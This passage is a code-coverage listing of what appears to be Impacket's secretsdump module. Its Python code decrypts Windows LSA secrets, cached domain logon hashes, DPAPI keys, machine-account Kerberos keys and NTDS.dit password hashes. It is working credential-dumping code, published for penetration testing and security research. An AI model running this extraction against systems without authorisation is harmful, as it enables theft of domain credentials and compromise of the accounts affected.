1400 self.__NKLMKey = self.__cryptoCommon.decryptAES(tmpKey, record['EncryptedData'][32:]) 

1401 else: 

1402 self.__NKLMKey = self.__decryptSecret(self.__LSAKey, value[1]) 

1403 

1404 def __pad(self, data): 

1405 if (data & 0x3) > 0: 

1406 return data + (data & 0x3) 

1407 else: 

1408 return data 

1409 

1410 def dumpCachedHashes(self): 

1411 if self.__securityFile is None: 1411 ↛ 1413line 1411 didn't jump to line 1413, because the condition on line 1411 was never true

1412 # No SECURITY file provided 

1413 return 

1414 

1415 LOG.info('Dumping cached domain logon information (domain/username:hash)') 

1416 

1417 # Let's first see if there are cached entries 

1418 values = self.enumValues('\\Cache') 

1419 if values is None: 1419 ↛ 1421line 1419 didn't jump to line 1421, because the condition on line 1419 was never true

1420 # No cache entries 

1421 return 

1422 try: 

1423 # Remove unnecessary value 

1424 values.remove(b'NL$Control') 

1425 except: 

1426 pass 

1427 

1428 iterationCount = 10240 

1429 

1430 if b'NL$IterationCount' in values: 1430 ↛ 1431line 1430 didn't jump to line 1431, because the condition on line 1430 was never true

1431 values.remove(b'NL$IterationCount') 

1432 

1433 record = self.getValue('\\Cache\\NL$IterationCount')[1] 

1434 if record > 10240: 

1435 iterationCount = record & 0xfffffc00 

1436 else: 

1437 iterationCount = record * 1024 

1438 

1439 self.__getLSASecretKey() 

1440 self.__getNLKMSecret() 

1441 

1442 for value in values: 

1443 LOG.debug('Looking into %s' % value.decode('utf-8')) 

1444 record = NL_RECORD(self.getValue(ntpath.join('\\Cache',value.decode('utf-8')))[1]) 

1445 if record['IV'] != 16 * b'\x00': 1445 ↛ 1447line 1445 didn't jump to line 1447, because the condition on line 1445 was never true

1446 #if record['UserLength'] > 0: 

1447 if record['Flags'] & 1 == 1: 

1448 # Encrypted 

1449 if self.__vistaStyle is True: 

1450 plainText = self.__cryptoCommon.decryptAES(self.__NKLMKey[16:32], record['EncryptedData'], record['IV']) 

1451 else: 

1452 plainText = self.__decryptHash(self.__NKLMKey, record['EncryptedData'], record['IV']) 

1453 pass 

1454 else: 

1455 # Plain! Until we figure out what this is, we skip it 

1456 #plainText = record['EncryptedData'] 

1457 continue 

1458 encHash = plainText[:0x10] 

1459 plainText = plainText[0x48:] 

1460 userName = plainText[:record['UserLength']].decode('utf-16le') 

1461 plainText = plainText[self.__pad(record['UserLength']) + self.__pad(record['DomainNameLength']):] 

1462 domainLong = plainText[:self.__pad(record['DnsDomainNameLength'])].decode('utf-16le') 

1463 

1464 if self.__vistaStyle is True: 

1465 answer = "%s/%s:$DCC2$%s#%s#%s" % (domainLong, userName, iterationCount, userName, hexlify(encHash).decode('utf-8')) 

1466 else: 

1467 answer = "%s/%s:%s:%s" % (domainLong, userName, hexlify(encHash).decode('utf-8'), userName) 

1468 

1469 self.__cachedItems.append(answer) 

1470 self.__perSecretCallback(LSASecrets.SECRET_TYPE.LSA_HASHED, answer) 

1471 

1472 def __printSecret(self, name, secretItem): 

1473 # Based on [MS-LSAD] section 3.1.1.4 

1474 

1475 # First off, let's discard NULL secrets. 

1476 if len(secretItem) == 0: 1476 ↛ 1477line 1476 didn't jump to line 1477, because the condition on line 1476 was never true

1477 LOG.debug('Discarding secret %s, NULL Data' % name) 

1478 return 

1479 

1480 # We might have secrets with zero 

1481 if secretItem.startswith(b'\x00\x00'): 1481 ↛ 1482line 1481 didn't jump to line 1482, because the condition on line 1481 was never true

1482 LOG.debug('Discarding secret %s, all zeros' % name) 

1483 return 

1484 

1485 upperName = name.upper() 

1486 

1487 LOG.info('%s ' % name) 

1488 

1489 secret = '' 

1490 

1491 if upperName.startswith('_SC_'): 

1492 # Service name, a password might be there 

1493 # Let's first try to decode the secret 

1494 try: 

1495 strDecoded = secretItem.decode('utf-16le') 

1496 except: 

1497 pass 

1498 else: 

1499 # We have to get the account the service 

1500 # runs under 

1501 if hasattr(self.__remoteOps, 'getServiceAccount'): 1501 ↛ 1509line 1501 didn't jump to line 1509, because the condition on line 1501 was never false

1502 account = self.__remoteOps.getServiceAccount(name[4:]) 

1503 if account is None: 1503 ↛ 1504line 1503 didn't jump to line 1504, because the condition on line 1503 was never true

1504 secret = self.UNKNOWN_USER + ':' 

1505 else: 

1506 secret = "%s:" % account 

1507 else: 

1508 # We don't support getting this info for local targets at the moment 

1509 secret = self.UNKNOWN_USER + ':' 

1510 secret += strDecoded 

1511 elif upperName.startswith('DEFAULTPASSWORD'): 

1512 # defaults password for winlogon 

1513 # Let's first try to decode the secret 

1514 try: 

1515 strDecoded = secretItem.decode('utf-16le') 

1516 except: 

1517 pass 

1518 else: 

1519 # We have to get the account this password is for 

1520 if hasattr(self.__remoteOps, 'getDefaultLoginAccount'): 1520 ↛ 1528line 1520 didn't jump to line 1528, because the condition on line 1520 was never false

1521 account = self.__remoteOps.getDefaultLoginAccount() 

1522 if account is None: 1522 ↛ 1523line 1522 didn't jump to line 1523, because the condition on line 1522 was never true

1523 secret = self.UNKNOWN_USER + ':' 

1524 else: 

1525 secret = "%s:" % account 

1526 else: 

1527 # We don't support getting this info for local targets at the moment 

1528 secret = self.UNKNOWN_USER + ':' 

1529 secret += strDecoded 

1530 elif upperName.startswith('ASPNET_WP_PASSWORD'): 1530 ↛ 1531line 1530 didn't jump to line 1531, because the condition on line 1530 was never true

1531 try: 

1532 strDecoded = secretItem.decode('utf-16le') 

1533 except: 

1534 pass 

1535 else: 

1536 secret = 'ASPNET: %s' % strDecoded 

1537 elif upperName.startswith('DPAPI_SYSTEM'): 

1538 # Decode the DPAPI Secrets 

1539 dpapi = DPAPI_SYSTEM(secretItem) 

1540 secret = "dpapi_machinekey:0x{0}\ndpapi_userkey:0x{1}".format( hexlify(dpapi['MachineKey']).decode('latin-1'), 

1541 hexlify(dpapi['UserKey']).decode('latin-1')) 

1542 elif upperName.startswith('$MACHINE.ACC'): 

1543 # compute MD4 of the secret.. yes.. that is the nthash? :-o 

1544 md4 = MD4.new() 

1545 md4.update(secretItem) 

1546 if hasattr(self.__remoteOps, 'getMachineNameAndDomain'): 1546 ↛ 1552line 1546 didn't jump to line 1552, because the condition on line 1546 was never false

1547 machine, domain = self.__remoteOps.getMachineNameAndDomain() 

1548 printname = "%s\\%s$" % (domain, machine) 

1549 secret = "%s\\%s$:%s:%s:::" % (domain, machine, hexlify(ntlm.LMOWFv1('','')).decode('utf-8'), 

1550 hexlify(md4.digest()).decode('utf-8')) 

1551 else: 

1552 printname = "$MACHINE.ACC" 

1553 secret = "$MACHINE.ACC: %s:%s" % (hexlify(ntlm.LMOWFv1('','')).decode('utf-8'), 

1554 hexlify(md4.digest()).decode('utf-8')) 

1555 # Attempt to calculate and print Kerberos keys 

1556 if not self.__printMachineKerberos(secretItem, printname): 1556 ↛ 1557line 1556 didn't jump to line 1557, because the condition on line 1556 was never true

1557 LOG.debug('Could not calculate machine account Kerberos keys, only printing plain password (hex encoded)') 

1558 # Always print plaintext anyway since this may be needed for some popular usecases 

1559 extrasecret = "%s:plain_password_hex:%s" % (printname, hexlify(secretItem).decode('utf-8')) 

1560 self.__secretItems.append(extrasecret) 

1561 self.__perSecretCallback(LSASecrets.SECRET_TYPE.LSA, extrasecret) 

1562 elif re.match('^L\$_SQSA_(S-[0-9]-[0-9]-([0-9])+-([0-9])+-([0-9])+-([0-9])+-([0-9])+)$', upperName) is not None: 1562 ↛ 1564line 1562 didn't jump to line 1564, because the condition on line 1562 was never true

1563 # Decode stored security questions 

1564 sid = re.search('^L\$_SQSA_(S-[0-9]-[0-9]-([0-9])+-([0-9])+-([0-9])+-([0-9])+-([0-9])+)$', upperName).group(1) 

1565 try: 

1566 strDecoded = secretItem.decode('utf-16le').replace('\xa0',' ') 

1567 strDecoded = json.loads(strDecoded) 

1568 except: 

1569 pass 

1570 else: 

1571 output = [] 

1572 if strDecoded['version'] == 1: 

1573 output.append(" - Version : %d" % strDecoded['version']) 

1574 for qk in strDecoded['questions']: 

1575 output.append(" | Question: %s" % qk['question']) 

1576 output.append(" | └──> Answer: %s" % qk['answer']) 

1577 output = '\n'.join(output) 

1578 secret = 'Security Questions for user %s: \n%s' % (sid, output) 

1579 else: 

1580 LOG.warning("Unknown SQSA version (%s), please open an issue with the following data so we can add a parser for it." % str(strDecoded['version'])) 

1581 LOG.warning("Don't forget to remove sensitive content before sending the data in a Github issue.") 

1582 secret = json.dumps(strDecoded, indent=4) 

1583 

1584 if secret != '': 

1585 printableSecret = secret 

1586 self.__secretItems.append(secret) 

1587 self.__perSecretCallback(LSASecrets.SECRET_TYPE.LSA, printableSecret) 

1588 else: 

1589 # Default print, hexdump 

1590 printableSecret = '%s:%s' % (name, hexlify(secretItem).decode('utf-8')) 

1591 self.__secretItems.append(printableSecret) 

1592 # If we're using the default callback (ourselves), we print the hex representation. If not, the 

1593 # user will need to decide what to do. 

1594 if self.__module__ == self.__perSecretCallback.__module__: 1594 ↛ 1596line 1594 didn't jump to line 1596, because the condition on line 1594 was never false

1595 hexdump(secretItem) 

1596 self.__perSecretCallback(LSASecrets.SECRET_TYPE.LSA_RAW, printableSecret) 

1597 

1598 def __printMachineKerberos(self, rawsecret, machinename): 

1599 # Attempt to create Kerberos keys from machine account (if possible) 

1600 if hasattr(self.__remoteOps, 'getMachineKerberosSalt'): 1600 ↛ 1628line 1600 didn't jump to line 1628, because the condition on line 1600 was never false

1601 salt = self.__remoteOps.getMachineKerberosSalt() 

1602 if salt == b'': 1602 ↛ 1603line 1602 didn't jump to line 1603, because the condition on line 1602 was never true

1603 return False 

1604 else: 

1605 allciphers = [ 

1606 int(constants.EncryptionTypes.aes256_cts_hmac_sha1_96.value), 

1607 int(constants.EncryptionTypes.aes128_cts_hmac_sha1_96.value), 

1608 int(constants.EncryptionTypes.des_cbc_md5.value) 

1609 ] 

1610 # Ok, so the machine account password is in raw UTF-16, BUT can contain any amount 

1611 # of invalid unicode characters. 

1612 # This took me (Dirk-jan) way too long to figure out, but apparently Microsoft 

1613 # implicitly replaces those when converting utf-16 to utf-8. 

1614 # When we use the same method we get the valid password -> key mapping :) 

1615 rawsecret = rawsecret.decode('utf-16-le', 'replace').encode('utf-8', 'replace') 

1616 for etype in allciphers: 

1617 try: 

1618 key = string_to_key(etype, rawsecret, salt, None) 

1619 except Exception: 

1620 LOG.debug('Exception', exc_info=True) 

1621 raise 

1622 typename = NTDSHashes.KERBEROS_TYPE[etype] 

1623 secret = "%s:%s:%s" % (machinename, typename, hexlify(key.contents).decode('utf-8')) 

1624 self.__secretItems.append(secret) 

1625 self.__perSecretCallback(LSASecrets.SECRET_TYPE.LSA_KERBEROS, secret) 

1626 return True 

1627 else: 

1628 return False 

1629 

1630 def dumpSecrets(self): 

1631 if self.__securityFile is None: 1631 ↛ 1633line 1631 didn't jump to line 1633, because the condition on line 1631 was never true

1632 # No SECURITY file provided 

1633 return 

1634 

1635 LOG.info('Dumping LSA Secrets') 

1636 

1637 # Let's first see if there are cached entries 

1638 keys = self.enumKey('\\Policy\\Secrets') 

1639 if keys is None: 1639 ↛ 1641line 1639 didn't jump to line 1641, because the condition on line 1639 was never true

1640 # No entries 

1641 return 

1642 try: 

1643 # Remove unnecessary value 

1644 keys.remove(b'NL$Control') 

1645 except: 

1646 pass 

1647 

1648 if self.__LSAKey == b'': 1648 ↛ 1649line 1648 didn't jump to line 1649, because the condition on line 1648 was never true

1649 self.__getLSASecretKey() 

1650 

1651 for key in keys: 

1652 LOG.debug('Looking into %s' % key) 

1653 valueTypeList = ['CurrVal'] 

1654 # Check if old LSA secrets values are also need to be shown 

1655 if self.__history: 

1656 valueTypeList.append('OldVal') 

1657 

1658 for valueType in valueTypeList: 

1659 value = self.getValue('\\Policy\\Secrets\\{}\\{}\\default'.format(key,valueType)) 

1660 if value is not None and value[1] != 0: 

1661 if self.__vistaStyle is True: 1661 ↛ 1668line 1661 didn't jump to line 1668, because the condition on line 1661 was never false

1662 record = LSA_SECRET(value[1]) 

1663 tmpKey = self.__sha256(self.__LSAKey, record['EncryptedData'][:32]) 

1664 plainText = self.__cryptoCommon.decryptAES(tmpKey, record['EncryptedData'][32:]) 

1665 record = LSA_SECRET_BLOB(plainText) 

1666 secret = record['Secret'] 

1667 else: 

1668 secret = self.__decryptSecret(self.__LSAKey, value[1]) 

1669 

1670 # If this is an OldVal secret, let's append '_history' to be able to distinguish it and 

1671 # also be consistent with NTDS history 

1672 if valueType == 'OldVal': 

1673 key += '_history' 

1674 self.__printSecret(key, secret) 

1675 

1676 def exportSecrets(self, baseFileName, openFileFunc = None): 

1677 if len(self.__secretItems) > 0: 

1678 fileName = baseFileName+'.secrets' 

1679 fd = openFile(fileName, openFileFunc=openFileFunc) 

1680 for item in self.__secretItems: 

1681 fd.write(item+'\n') 

1682 fd.close() 

1683 return fileName 

1684 

1685 def exportCached(self, baseFileName, openFileFunc = None): 

1686 if len(self.__cachedItems) > 0: 

1687 fileName = baseFileName+'.cached' 

1688 fd = openFile(fileName, openFileFunc=openFileFunc) 

1689 for item in self.__cachedItems: 

1690 fd.write(item+'\n') 

1691 fd.close() 

1692 return fileName 

1693 

1694 

1695class ResumeSessionMgrInFile(object): 

1696 def __init__(self, resumeFileName=None): 

1697 self.__resumeFileName = resumeFileName 

1698 self.__resumeFile = None 

1699 self.__hasResumeData = resumeFileName is not None 

1700 

1701 def hasResumeData(self): 

1702 return self.__hasResumeData 

1703 

1704 def clearResumeData(self): 

1705 self.endTransaction() 

1706 if self.__resumeFileName and os.path.isfile(self.__resumeFileName): 1706 ↛ exitline 1706 didn't return from function 'clearResumeData', because the condition on line 1706 was never false

1707 os.remove(self.__resumeFileName) 

1708 

1709 def writeResumeData(self, data): 

1710 # self.beginTransaction() must be called first, but we are aware of performance here, so we avoid checking that 

1711 self.__resumeFile.seek(0, 0) 

1712 self.__resumeFile.truncate(0) 

1713 self.__resumeFile.write(data.encode()) 

1714 self.__resumeFile.flush() 

1715 

1716 def getResumeData(self): 

1717 try: 

1718 self.__resumeFile = open(self.__resumeFileName,'rb') 

1719 except Exception as e: 

1720 raise Exception('Cannot open resume session file name %s' % str(e)) 

1721 resumeSid = self.__resumeFile.read() 

1722 self.__resumeFile.close() 

1723 # Truncate and reopen the file as wb+ 

1724 self.__resumeFile = open(self.__resumeFileName,'wb+') 

1725 return resumeSid.decode('utf-8') 

1726 

1727 def getFileName(self): 

1728 return self.__resumeFileName 

1729 

1730 def beginTransaction(self): 

1731 if not self.__resumeFileName: 1731 ↛ 1734line 1731 didn't jump to line 1734, because the condition on line 1731 was never false

1732 self.__resumeFileName = 'sessionresume_%s' % ''.join(random.choice(string.ascii_letters) for _ in range(8)) 

1733 LOG.debug('Session resume file will be %s' % self.__resumeFileName) 

1734 if not self.__resumeFile: 1734 ↛ exitline 1734 didn't return from function 'beginTransaction', because the condition on line 1734 was never false

1735 try: 

1736 self.__resumeFile = open(self.__resumeFileName, 'wb+') 

1737 except Exception as e: 

1738 raise Exception('Cannot create "%s" resume session file: %s' % (self.__resumeFileName, str(e))) 

1739 

1740 def endTransaction(self): 

1741 if self.__resumeFile: 

1742 self.__resumeFile.close() 

1743 self.__resumeFile = None 

1744 

1745 

1746class NTDSHashes: 

1747 class SECRET_TYPE: 

1748 NTDS = 0 

1749 NTDS_CLEARTEXT = 1 

1750 NTDS_KERBEROS = 2 

1751 

1752 NAME_TO_INTERNAL = { 

1753 'uSNCreated':b'ATTq131091', 

1754 'uSNChanged':b'ATTq131192', 

1755 'name':b'ATTm3', 

1756 'objectGUID':b'ATTk589826', 

1757 'objectSid':b'ATTr589970', 

1758 'userAccountControl':b'ATTj589832', 

1759 'primaryGroupID':b'ATTj589922', 

1760 'accountExpires':b'ATTq589983', 

1761 'logonCount':b'ATTj589993', 

1762 'sAMAccountName':b'ATTm590045', 

1763 'sAMAccountType':b'ATTj590126', 

1764 'lastLogonTimestamp':b'ATTq589876', 

1765 'userPrincipalName':b'ATTm590480', 

1766 'unicodePwd':b'ATTk589914', 

1767 'dBCSPwd':b'ATTk589879', 

1768 'ntPwdHistory':b'ATTk589918', 

1769 'lmPwdHistory':b'ATTk589984', 

1770 'pekList':b'ATTk590689', 

1771 'supplementalCredentials':b'ATTk589949', 

1772 'pwdLastSet':b'ATTq589920', 

1773 } 

1774 

1775 NAME_TO_ATTRTYP = { 

1776 'userPrincipalName': 0x90290, 

1777 'sAMAccountName': 0x900DD, 

1778 'unicodePwd': 0x9005A, 

1779 'dBCSPwd': 0x90037, 

1780 'ntPwdHistory': 0x9005E, 

1781 'lmPwdHistory': 0x900A0, 

1782 'supplementalCredentials': 0x9007D, 

1783 'objectSid': 0x90092, 

1784 'userAccountControl':0x90008, 

1785 } 

1786 

1787 ATTRTYP_TO_ATTID = { 

1788 'userPrincipalName': '1.2.840.113556.1.4.656', 

1789 'sAMAccountName': '1.2.840.113556.1.4.221', 

1790 'unicodePwd': '1.2.840.113556.1.4.90', 

1791 'dBCSPwd': '1.2.840.113556.1.4.55', 

1792 'ntPwdHistory': '1.2.840.113556.1.4.94', 

1793 'lmPwdHistory': '1.2.840.113556.1.4.160', 

1794 'supplementalCredentials': '1.2.840.113556.1.4.125', 

1795 'objectSid': '1.2.840.113556.1.4.146', 

1796 'pwdLastSet': '1.2.840.113556.1.4.96', 

1797 'userAccountControl':'1.2.840.113556.1.4.8', 

1798 } 

1799 

1800 KERBEROS_TYPE = { 

1801 1:'dec-cbc-crc', 

1802 3:'des-cbc-md5', 

1803 17:'aes128-cts-hmac-sha1-96', 

1804 18:'aes256-cts-hmac-sha1-96', 

1805 0xffffff74:'rc4_hmac', 

1806 } 

1807 

1808 INTERNAL_TO_NAME = dict((v,k) for k,v in NAME_TO_INTERNAL.items()) 

1809 

1810 SAM_NORMAL_USER_ACCOUNT = 0x30000000 

1811 SAM_MACHINE_ACCOUNT = 0x30000001 

1812 SAM_TRUST_ACCOUNT = 0x30000002 

1813 

1814 ACCOUNT_TYPES = ( SAM_NORMAL_USER_ACCOUNT, SAM_MACHINE_ACCOUNT, SAM_TRUST_ACCOUNT) 

1815 

1816 class PEKLIST_ENC(Structure): 

1817 structure = ( 

1818 ('Header','8s=b""'), 

1819 ('KeyMaterial','16s=b""'), 

1820 ('EncryptedPek',':'), 

1821 ) 

1822 

1823 class PEKLIST_PLAIN(Structure): 

1824 structure = ( 

1825 ('Header','32s=b""'), 

1826 ('DecryptedPek',':'), 

1827 ) 

1828 

1829 class PEK_KEY(Structure): 

1830 structure = ( 

1831 ('Header','1s=b""'), 

1832 ('Padding','3s=b""'), 

1833 ('Key','16s=b""'), 

1834 ) 

1835 

1836 class CRYPTED_HASH(Structure): 

1837 structure = ( 

1838 ('Header','8s=b""'), 

1839 ('KeyMaterial','16s=b""'), 

1840 ('EncryptedHash','16s=b""'), 

1841 ) 

1842 

1843 class CRYPTED_HASHW16(Structure): 

1844 structure = ( 

1845 ('Header','8s=b""'), 

1846 ('KeyMaterial','16s=b""'), 

1847 ('Unknown','<L=0'), 

1848 ('EncryptedHash', ':'), 

1849 ) 

1850 

1851 class CRYPTED_HISTORY(Structure): 

1852 structure = ( 

1853 ('Header','8s=b""'), 

1854 ('KeyMaterial','16s=b""'), 

1855 ('EncryptedHash',':'), 

1856 ) 

1857 

1858 class CRYPTED_BLOB(Structure): 

1859 structure = ( 

1860 ('Header','8s=b""'), 

1861 ('KeyMaterial','16s=b""'), 

1862 ('EncryptedHash',':'), 

1863 ) 

1864 

1865 def __init__(self, ntdsFile, bootKey, isRemote=False, history=False, noLMHash=True, remoteOps=None, 

1866 useVSSMethod=False, justNTLM=False, pwdLastSet=False, resumeSession=None, outputFileName=None, 

1867 justUser=None, printUserStatus=False, 

1868 perSecretCallback = lambda secretType, secret : _print_helper(secret), 

1869 resumeSessionMgr=ResumeSessionMgrInFile): 

1870 self.__bootKey = bootKey 

1871 self.__NTDS = ntdsFile 

1872 self.__history = history 

1873 self.__noLMHash = noLMHash 

1874 self.__useVSSMethod = useVSSMethod 

1875 self.__remoteOps = remoteOps 

1876 self.__pwdLastSet = pwdLastSet 

1877 self.__printUserStatus = printUserStatus 

1878 if self.__NTDS is not None: 

1879 self.__ESEDB = ESENT_DB(ntdsFile, isRemote = isRemote) 

1880 self.__cursor = self.__ESEDB.openTable('datatable') 

1881 self.__tmpUsers = list() 

1882 self.__PEK = list() 

1883 self.__cryptoCommon = CryptoCommon() 

1884 self.__kerberosKeys = OrderedDict() 

1885 self.__clearTextPwds = OrderedDict() 

1886 self.__justNTLM = justNTLM 

1887 self.__resumeSession = resumeSessionMgr(resumeSession) 

1888 self.__outputFileName = outputFileName 

1889 self.__justUser = justUser 

1890 self.__perSecretCallback = perSecretCallback 

1891 

1892 # these are all the columns that we need to get the secrets. 

1893 # If in the future someone finds other columns containing interesting things please extend ths table. 

1894 self.__filter_tables_usersecret = { 

1895 self.NAME_TO_INTERNAL['objectSid'] : 1, 

1896 self.NAME_TO_INTERNAL['dBCSPwd'] : 1, 

1897 self.NAME_TO_INTERNAL['name'] : 1, 

1898 self.NAME_TO_INTERNAL['sAMAccountType'] : 1, 

1899 self.NAME_TO_INTERNAL['unicodePwd'] : 1, 

1900 self.NAME_TO_INTERNAL['sAMAccountName'] : 1, 

1901 self.NAME_TO_INTERNAL['userPrincipalName'] : 1, 

1902 self.NAME_TO_INTERNAL['ntPwdHistory'] : 1, 

1903 self.NAME_TO_INTERNAL['lmPwdHistory'] : 1, 

1904 self.NAME_TO_INTERNAL['pwdLastSet'] : 1, 

1905 self.NAME_TO_INTERNAL['userAccountControl'] : 1, 

1906 self.NAME_TO_INTERNAL['supplementalCredentials'] : 1, 

1907 self.NAME_TO_INTERNAL['pekList'] : 1, 

1908 

1909 } 

1910 

1911 def getResumeSessionFile(self): 

1912 return self.__resumeSession.getFileName() 

1913 

1914 def __getPek(self): 

1915 LOG.info('Searching for pekList, be patient') 

1916 peklist = None 

1917 while True: 

1918 try: 

1919 record = self.__ESEDB.getNextRow(self.__cursor, filter_tables=self.__filter_tables_usersecret) 

1920 except: 

1921 LOG.error('Error while calling getNextRow(), trying the next one') 

1922 continue 

1923 

1924 if record is None: 1924 ↛ 1925line 1924 didn't jump to line 1925, because the condition on line 1924 was never true

1925 break 

1926 elif record[self.NAME_TO_INTERNAL['pekList']] is not None: 

1927 peklist = unhexlify(record[self.NAME_TO_INTERNAL['pekList']]) 

1928 break 

1929 elif record[self.NAME_TO_INTERNAL['sAMAccountType']] in self.ACCOUNT_TYPES: 1929 ↛ 1932line 1929 didn't jump to line 1932, because the condition on line 1929 was never true

1930 # Okey.. we found some users, but we're not yet ready to process them. 

1931 # Let's just store them in a temp list 

1932 self.__tmpUsers.append(record) 

1933 

1934 if peklist is not None: 1934 ↛ exitline 1934 didn't return from function '__getPek', because the condition on line 1934 was never false

1935 encryptedPekList = self.PEKLIST_ENC(peklist) 

1936 if encryptedPekList['Header'][:4] == b'\x02\x00\x00\x00': 1936 ↛ 1952line 1936 didn't jump to line 1952, because the condition on line 1936 was never false

1937 # Up to Windows 2012 R2 looks like header starts this way 

1938 md5 = hashlib.new('md5') 

1939 md5.update(self.__bootKey) 

1940 for i in range(1000): 

1941 md5.update(encryptedPekList['KeyMaterial']) 

1942 tmpKey = md5.digest() 

1943 rc4 = ARC4.new(tmpKey) 

1944 decryptedPekList = self.PEKLIST_PLAIN(rc4.encrypt(encryptedPekList['EncryptedPek'])) 

1945 PEKLen = len(self.PEK_KEY()) 

1946 for i in range(len( decryptedPekList['DecryptedPek'] ) // PEKLen ): 

1947 cursor = i * PEKLen 

1948 pek = self.PEK_KEY(decryptedPekList['DecryptedPek'][cursor:cursor+PEKLen]) 

1949 LOG.info("PEK # %d found and decrypted: %s", i, hexlify(pek['Key']).decode('utf-8')) 

1950 self.__PEK.append(pek['Key']) 

1951 

1952 elif encryptedPekList['Header'][:4] == b'\x03\x00\x00\x00': 

1953 # Windows 2016 TP4 header starts this way 

1954 # Encrypted PEK Key seems to be different, but actually similar to decrypting LSA Secrets. 

1955 # using AES: 

1956 # Key: the bootKey 

1957 # CipherText: PEKLIST_ENC['EncryptedPek'] 

1958 # IV: PEKLIST_ENC['KeyMaterial'] 

1959 decryptedPekList = self.PEKLIST_PLAIN( 

1960 self.__cryptoCommon.decryptAES(self.__bootKey, encryptedPekList['EncryptedPek'], 

1961 encryptedPekList['KeyMaterial'])) 

1962 

1963 # PEK list entries take the form: 

1964 # index (4 byte LE int), PEK (16 byte key) 

1965 # the entries are in ascending order, and the list is terminated 

1966 # by an entry with a non-sequential index (08080808 observed) 

1967 pos, cur_index = 0, 0 

1968 while True: 

1969 pek_entry = decryptedPekList['DecryptedPek'][pos:pos+20] 

1970 if len(pek_entry) < 20: break # if list truncated, should not happen 

1971 index, pek = unpack('<L16s', pek_entry) 

1972 if index != cur_index: break # break on non-sequential index 

1973 self.__PEK.append(pek) 

1974 LOG.info("PEK # %d found and decrypted: %s", index, hexlify(pek).decode('utf-8')) 

1975 cur_index += 1 

1976 pos += 20 

1977 

1978 def __removeRC4Layer(self, cryptedHash): 

1979 md5 = hashlib.new('md5') 

1980 # PEK index can be found on header of each ciphered blob (pos 8-10) 

1981 pekIndex = hexlify(cryptedHash['Header']) 

1982 md5.update(self.__PEK[int(pekIndex[8:10])]) 

1983 md5.update(cryptedHash['KeyMaterial']) 

1984 tmpKey = md5.digest() 

1985 rc4 = ARC4.new(tmpKey) 

1986 plainText = rc4.encrypt(cryptedHash['EncryptedHash']) 

1987 

1988 return plainText 

1989 

1990 def __removeDESLayer(self, cryptedHash, rid): 

1991 Key1,Key2 = self.__cryptoCommon.deriveKey(int(rid)) 

1992 

1993 Crypt1 = DES.new(Key1, DES.MODE_ECB) 

1994 Crypt2 = DES.new(Key2, DES.MODE_ECB) 

1995 

1996 decryptedHash = Crypt1.decrypt(cryptedHash[:8]) + Crypt2.decrypt(cryptedHash[8:]) 

1997 

1998 return decryptedHash 

1999 

2000 @staticmethod 

2001 def __fileTimeToDateTime(t): 

2002 t -= 116444736000000000 

2003 t //= 10000000 

2004 if t < 0: 

2005 return 'never' 

2006 else: 

2007 dt = datetime.fromtimestamp(t) 

2008 return dt.strftime("%Y-%m-%d %H:%M") 

2009 

2010 def __decryptSupplementalInfo(self, record, prefixTable=None, keysFile=None, clearTextFile=None): 

2011 # This is based on [MS-SAMR] 2.2.10 Supplemental Credentials Structures 

2012 haveInfo = False 

2013 LOG.debug('Entering NTDSHashes.__decryptSupplementalInfo') 

2014 if self.__useVSSMethod is True: 

2015 if record[self.NAME_TO_INTERNAL['supplementalCredentials']] is not None: 

2016 if len(unhexlify(record[self.NAME_TO_INTERNAL['supplementalCredentials']])) > 24: 2016 ↛ 2077line 2016 didn't jump to line 2077, because the condition on line 2016 was never false

2017 if record[self.NAME_TO_INTERNAL['userPrincipalName']] is not None: 

2018 domain = record[self.NAME_TO_INTERNAL['userPrincipalName']].split('@')[-1] 

2019 userName = '%s\\%s' % (domain, record[self.NAME_TO_INTERNAL['sAMAccountName']]) 

2020 else: 

2021 userName = '%s' % record[self.NAME_TO_INTERNAL['sAMAccountName']] 

2022 cipherText = self.CRYPTED_BLOB(unhexlify(record[self.NAME_TO_INTERNAL['supplementalCredentials']])) 

2023 

2024 if cipherText['Header'][:4] == b'\x13\x00\x00\x00': 2024 ↛ 2026line 2024 didn't jump to line 2026, because the condition on line 2024 was never true

2025 # Win2016 TP4 decryption is different 

2026 pekIndex = hexlify(cipherText['Header']) 

2027 plainText = self.__cryptoCommon.decryptAES(self.__PEK[int(pekIndex[8:10])], 

2028 cipherText['EncryptedHash'][4:], 

2029 cipherText['KeyMaterial']) 

2030 haveInfo = True 

2031 else: 

2032 plainText = self.__removeRC4Layer(cipherText) 

2033 haveInfo = True 

2034 else: 

2035 domain = None 

2036 userName = None 

2037 replyVersion = 'V%d' % record['pdwOutVersion'] 

2038 for attr in record['pmsgOut'][replyVersion]['pObjects']['Entinf']['AttrBlock']['pAttr']: 

2039 try: 

2040 attId = drsuapi.OidFromAttid(prefixTable, attr['attrTyp']) 

2041 LOOKUP_TABLE = self.ATTRTYP_TO_ATTID 

2042 except Exception as e: 

2043 LOG.debug('Failed to execute OidFromAttid with error %s' % e) 

2044 LOG.debug('Exception', exc_info=True) 

2045 # Fallbacking to fixed table and hope for the best 

2046 attId = attr['attrTyp'] 

2047 LOOKUP_TABLE = self.NAME_TO_ATTRTYP 

2048 

2049 if attId == LOOKUP_TABLE['userPrincipalName']: 

2050 if attr['AttrVal']['valCount'] > 0: 2050 ↛ 2056line 2050 didn't jump to line 2056, because the condition on line 2050 was never false

2051 try: 

2052 domain = b''.join(attr['AttrVal']['pAVal'][0]['pVal']).decode('utf-16le').split('@')[-1] 

2053 except: 

2054 domain = None 

2055 else: 

2056 domain = None 

2057 elif attId == LOOKUP_TABLE['sAMAccountName']: 

2058 if attr['AttrVal']['valCount'] > 0: 2058 ↛ 2066line 2058 didn't jump to line 2066, because the condition on line 2058 was never false

2059 try: 

2060 userName = b''.join(attr['AttrVal']['pAVal'][0]['pVal']).decode('utf-16le') 

2061 except: 

2062 LOG.error( 

2063 'Cannot get sAMAccountName for %s' % record['pmsgOut'][replyVersion]['pNC']['StringName'][:-1]) 

2064 userName = 'unknown' 

2065 else: 

2066 LOG.error('Cannot get sAMAccountName for %s' % record['pmsgOut'][replyVersion]['pNC']['StringName'][:-1]) 

2067 userName = 'unknown' 

2068 if attId == LOOKUP_TABLE['supplementalCredentials']: 

2069 if attr['AttrVal']['valCount'] > 0: 2069 ↛ 2038line 2069 didn't jump to line 2038, because the condition on line 2069 was never false

2070 blob = b''.join(attr['AttrVal']['pAVal'][0]['pVal']) 

2071 plainText = drsuapi.DecryptAttributeValue(self.__remoteOps.getDrsr(), blob) 

